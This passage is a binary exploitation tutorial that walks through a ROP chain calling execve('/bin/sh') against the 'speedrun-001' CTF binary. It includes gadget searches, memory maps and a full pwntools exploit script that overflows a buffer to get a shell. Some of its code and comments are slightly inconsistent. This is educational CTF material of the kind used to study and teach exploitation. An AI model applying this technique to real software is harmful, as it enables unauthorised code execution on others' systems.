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In order to prepare the call for the **syscall** it's needed the following configuration:

* `rax: 59 Specify sys_execve`
* `rdi: ptr to "/bin/sh" specify file to execute`
* `rsi: 0 specify no arguments passed`
* `rdx: 0 specify no environment variables passed`

So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack).

# Control the registers

Let's start by finding **how to control those registers**:

```c
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```

With these addresses it's possible to **write the content in the stack and load it into the registers**.

# Write string

## Writable memory

Frist you need to find a writable place in the memory

```bash
gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```

## Write String

Then you need to find a way to write arbitrary content in this address

```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```

### 32 bits

```python
'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```

### 64 bits

```python
'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```

# Example

```python
from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive() 
```

# References

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)


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</details>